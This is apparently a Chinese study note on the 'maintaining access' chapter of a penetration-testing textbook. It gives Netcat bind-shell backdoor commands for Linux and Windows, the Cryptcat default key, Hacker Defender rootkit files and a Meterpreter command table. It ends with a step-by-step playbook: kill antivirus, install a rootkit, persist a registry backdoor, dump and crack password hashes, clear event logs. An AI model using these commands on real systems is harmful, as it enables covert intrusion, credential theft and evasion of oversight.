渗透测试实践-维持访问
本文是我阅读《渗透测试实践指南·第七章·维持访问》所做的笔记。
零、开始
- 很多的漏洞利用都是暂时的
- 后门是一个驻留在目标计算机上的软件,它使得攻击者随时返回(或连接)到目标计算机上
- 现代攻击者对于长期甚至永久地访问目标系统和网络更感兴趣
一、Netcat:瑞士军刀
- Netcat是一个允许通讯和流量从一台计算机流向另一台计算机的工具
- Netcat既可以以服务器模式运行,也可以以客户端模式运行
- 支持TCP和UDP协议,默认使用TCP,参数-u指定使用UDP
- 监听TCP的1337端口:nc -l -p 1337(仅支持一个TCP连接)
- 连接TCP的1337端口:nc 192.168.56.2 1337
- 监听TCP的7777端口并将接受数据写入文件:nc -l -p 7777 > virus.exe
- 连接TCP的7777端口并通过Netcat上传文件:nc 192.168.56.2 7777 < virus.exe
- 绑定一个shell作为后门(linux):nc -l -p 12345 -e /bin/sh
- 绑定一个shell作为后门(Windows):nc -L -p 12345 -e C:\Windows\System32\cmd.exe
二、Cryptcat:加密版Netcat
- Netcat所有网络流量都是明文,易被嗅探
- Cryptcat和Netcat命令几乎完全相同
- Cryptcat使用twofish加密算法(这是个对称算法)
- 默认秘钥:metallica,使用参数“-k”更换秘钥
三、Rootkit
- 强大而诡秘
- 可用于隐藏文件、进程、程序,如同它们从未出现过
- 犹如孙悟空在生死簿上划掉了猴族的名字
- root表示具有根权限,kit表示工具集合
- Rootkit可以让操作系统撒谎
- 检测Rootkit的工具:Rootkit Revealer、vice和Blacklight
四、Hacker Defender:超乎想象的Windows平台Rootkit
- Hacker Defender是indows平台下易于理解和使用的Rootkit
- 具有三个主要文件:
- hxdef100.exe:在目标计算机上运行Hacker Defender
- hxdef100.ini:配置文件
- bdcli100.exe:用于连接Hacker Defender的客户端软件
- 需要管理员权限
- 中文使用说明
五、Meterpreter:无所不能
Meterpreter基本命令:
命令 | 功能 |
---|---|
cat file_name | 显示指定文件的内容 |
cd、rm、mkdir、rmdir | 和传统Linux终端使用的命令和输出相同 |
clearev | 清除目标计算机应用程序、系统和安全日志中报告的所有事件 |
upload | 上传攻击机器上的指定文件到目标机器 |
download | 从目标下载指定文件到本地主机(攻击机器) |
edit | 提供一个VIM编辑器,可以对文档进行更改 |
execute -file_name | 运行/执行目标上的指定文件 |
getsystem | 命令meterpreter尝试将权限提升到最高级 |
hashdump | 定位和显示目标上的用户名和散列。这些散列可以复制到指定文件,供John the Ripper破解 |
idletime | 显示机器不活动时间 |
keyscan_start | 开始记录受害机器上的击键。注意:为了捕获击键,必须迁移到explorer.exe进程中 |
keyscan_dump | 显示当前从目标计算机上捕获的击键。注意:必须先运行keyscan_start |
keyscan_stop | 停止记录用户击键 |
ps | 显示目标上运行的所有进程 |
kill pid_number | 停止(杀死)指定进程。进程ID可以运行ps命令找到 |
migrate | 将meterpreter shell移到另一个运行中的进程。注意:这是需要了解的重要命令 |
screenshot | 提供来自目标机器的屏幕截图 |
search -f file_name | 在目标机器上搜索指定文件 |
sysinfo | 提供目标机器的相关系统信息,包括计算机名、操作系统名、服务包级别等 |
reboot/shutdown | 重启或关闭目标机器 |
一个Meterpreter在Windows上的使用实例:
- 进行漏洞利用,对目标使用Meterpreter攻击荷载
- 使用“migrate”命令将Meterpreter转移到那些不为人熟知的常见进程中。如:svchost.exe
- 使用“kill”命令关闭杀毒软件
- 使用“shell”命令访问目标机器的命令提示符,并使用“netsh advfirewall firewall”命令更改Windows防火墙设置,使连接或者端口可以开放
- 在杀毒软件关闭的情况下使用“upload”命令上传Rootkit和Netcat等工具
- 用“execute -f”命令安装rootkit
- 若rootkit没有后门,则用Netcat做后门,其中使用“reg”命令修改注册表,持久化Netcat后门
- 用“hashdump”命令转储密码散列,用John破解密码
- 用“edit”命令配置rootkit.ini文件,隐藏上传的文件、后门、新开端口和修改的注册表项等
- 从攻击机器建立到目标的新连接,测试上传的后门
- 用“clearev”命令清除事件日志
- 攻击下一个目标
六、结束
- 尝试Netcat的现代版:Ncat和Socat
- 要很小心地尝试Rootkit
- 努力成为Meterpreter大师
- 更多后门程序:Netbus、Back Oriffice和Subseven(Sub7)
- 学无止境